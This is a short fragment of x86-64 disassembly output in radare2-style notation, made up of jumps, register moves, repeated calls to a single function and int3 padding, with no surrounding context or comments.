jmp 0x140048206
mov rcx, qword [rcx - 8]
sub rax, rcx
mov rcx, rcx
jmp 0x140048253
call fcn.1400ea23c
nop
call fcn.1400ea23c
mov dword [rsp - 0x28], ebx
nop
call fcn.1400ea23c
int3
call fcn.1400ea23c
mov dword [rsp - 0x3c], 0x3c0dd7bf
int3
call fcn.1400ea23c
int3